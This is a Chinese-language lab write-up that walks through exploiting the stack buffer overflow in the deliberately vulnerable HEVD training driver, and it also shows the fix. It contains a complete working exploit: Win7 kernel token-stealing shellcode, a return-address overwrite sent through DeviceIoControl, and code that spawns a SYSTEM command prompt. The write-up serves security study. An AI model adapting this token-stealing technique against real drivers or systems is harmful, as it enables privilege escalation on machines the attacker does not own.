初探栈溢出

2022-07-06 16:05:45 浏览数 (1)

0x01 HEVD介绍

HEVD全称为HackSys Ex

treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。

说白了,是一个内核漏洞的靶场。

项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

关于安装配置初始环境,建议参考:

https://tttang.com/archive/1332/

https://bbs.pediy.com/thread-218838.htm

这里就不再赘述。

本人能力有限,刚学习过一些内核知识,文章中出现的任何错误欢迎师傅们批评指正。

下面我们直接开始,从栈溢出开始

0x02 栈溢出函数定位

HackSysExtremeVulnerableDriver-3.00DriverHEVDBufferOverflowStack.c文件中。

位于该文件的107行,没有经过校验Size的大小而直接使用函数进行拷贝。

相关漏洞函数为:TriggerBufferOverflowStack

将HEVD.sys文件拖入ida中分析。定位到TriggerBufferOverflowStack函数

可以看到使用了memcpykernelBuffer有拷贝动作,将UserBuffer的值拷贝到kernelBuffer中,拷贝长度为传入的参数Size。

问题在于kernelBuffer的长度是固定的:

一个ULONG类型对应四个字节,那么512*4=2048=800h,这和IDA逆向出来的代码是相同的:

而UserBuffer和Size为传入的参数,并且对Size的大小没有限制,那么倘若Size大小大于800h字节,则会发生栈溢出。

0x03 溢出函数是怎样被调用的

相关调用链

首先是进入到DriverEntry(x,x),然后通过IrpDeviceIoCtlHandler(x,x)根据IoControlCode使用switch函数跳转到BufferOverflowStackIoctlHandler然后进入TriggerBufferOverflowStack进行溢出操作

找到IrpIrpDeviceIoCtlHandler函数

代码语言:javascript复制
PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x) 87↓o
PAGE:00444064
PAGE:00444064 DeviceObject    = dword ptr  8
PAGE:00444064 Irp             = dword ptr  0Ch
PAGE:00444064
PAGE:00444064                 push    ebp
PAGE:00444065                 mov     ebp, esp
PAGE:00444067                 push    ebx
PAGE:00444068                 push    esi
PAGE:00444069                 push    edi
PAGE:0044406A                 mov     edi, [ebp Irp]
PAGE:0044406D                 mov     ebx, 0C00000BBh
PAGE:00444072                 mov     eax, [edi 60h]
PAGE:00444075                 test    eax, eax
PAGE:00444077                 jz      loc_4444C5
PAGE:0044407D                 mov     ebx, eax
PAGE:0044407F                 mov     ecx, [ebx 0Ch]
PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088                 cmp     eax, 6Ch
PAGE:0044408B                 ja      def_444098      ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091                 movzx   eax, ds:byte_444554[eax]
PAGE:00444098                 jmp     ds:jpt_444098[eax*4] ; switch jump

这里看的不是很清楚,可以通过IDA F5反编译一下

可以看到只有当IoControlCode为2236419时,才会调用BufferOverflowStackIoctlHandler,继而调用TriggerBufferOverflowStack

0x04 漏洞利用

作为脚本小子,先跑一下写好了的exploit脚本。

打开HackSysEVDExploit.sln文件,直接在vs2019上编译即可。

将生成的HackSysEVDExploit.exe拷贝至win7,执行如下命令

代码语言:javascript复制
HackSysEVDExploit.exe -c cmd.exe -p

直接可以获取system权限。

那么只跑一下脚本肯定不行,一起分析一下他是如何做到的。

首先,栈溢出了,我们最希望控制的就是EIP,通过栈溢出的漏洞将原来函数返回的地址覆盖为我们自己希望执行代码的地址。那么应该弄清楚一点,返回地址在哪?

可以在ida上找到答案,通过stack窗口可以看到TriggerBufferOverflowStack的堆栈图:

我们可以通过kernelBuffer溢出来覆盖r的值,r相对KernelBuffer的偏移为820h。

所以我们可以申请一块0x824大小的空间,然后将我们要执行函数或者shellcode的地址填入0x820的位置,即可覆盖返回地址。

TriggerBufferOverflowStack执行结束后就会执行我们自己的代码。

这里有一个小问题需要注意,执行完我们自己的代码以后我们需要让程序能够继续正常执行,那么需要做平衡堆栈的动作

最终我们自己编写的exp为:

代码语言:javascript复制
#include "stdio.h"
#include "windows.h"
#include <stdlib.h>
#include <tchar.h>


VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad; Save registers state

        ; Start of Token Stealing Stub
        xor eax, eax; Set ZERO
        mov eax, fs: [eax   124h] ; Get nt!_KPCR.PcrbData.CurrentThread
        ; _KTHREAD is located at FS : [0x124]

        mov eax, [eax   50h]; Get nt!_KTHREAD.ApcState.Process  //养父母

        mov ecx, eax; Copy current process _EPROCESS structure

        mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax   0b8h]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax   0b4h], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID

            mov edx, [eax   0f8h]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx   0f8h], edx; Replace target process nt!_EPROCESS.Token //替换token为system的token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad; Restore registers state

            ; Kernel Recovery Stub
            xor eax, eax; Set NTSTATUS SUCCEESS
            add esp, 12; Fix the stack
            pop ebp; Restore saved EBP
            ret 8; Return cleanly
    }
}

static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    char buffer[0x824];
    HANDLE hDevice;
    DWORD bReturn = 0;
    hDevice = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed to get handle...!n");
        return 0;
    }

    memset(buffer, 'A', 0x824);
    *(PDWORD)(buffer   0x820) = (DWORD)&TokenStealingPayloadWin7;


    DeviceIoControl(hDevice, 2236419, buffer, 0x824, NULL, 0, &bReturn, NULL); //IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler
    Cmd();
    return 0;
}

payload解读

其中TokenStealingPayloadWin7为payload函数。

在ring3,fs:[0]指向TEB,在ring0,fs:[0]指向KPCR。

然后通过KPCR 124h获取CurrentThread,CurrentThread结构体为EThread,EThread的第一个成员KThread 40为APC_STATE结构,其中包含当前线程的“养父母”进程。

EPROCESS 0xb8指向的是一个链表,串着所有进程的信息,我们可以通过遍历这个链表获取pid为4(EPROCESS 0xb4),system进程的EPROCESS信息。

最后将当前进程的token(EPROCESS 0xf8)的值替换为system进程的token的值,让当前进程权限为system。达到权限提升的作用。

最后需要平衡堆栈,以及将返回后的两句代码添上。

其余代码

代码语言:javascript复制
memset(buffer, 'A', 0x824);
*(PDWORD)(buffer   0x820) = (DWORD)&TokenStealingPayloadWin7;

将相对kernelBuffer偏移0x820字节返回位置进行覆盖,改为我们自己函数的地址。

代码语言:javascript复制
hDevice = CreateFileA("\\.\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

创建设备与驱动通信

代码语言:javascript复制
DeviceIoControl(hDevice, 2236419, buffer, 0x824, NULL, 0, &bReturn, NULL);

IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler,这一点我们上面也已经分析过了。

代码语言:javascript复制
static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

由于当前进程具有system令牌,我们通过当前进程创建的cmd.exe拥有system权限。

最后执行我们自己的exp,成功弹出system权限的cmd。

0x05 修复

Size改为sizeof(KernelBuffer),达到一个限制大小的作用,这一点在SECURE(安全的代码)代码中也有体现。

0 人点赞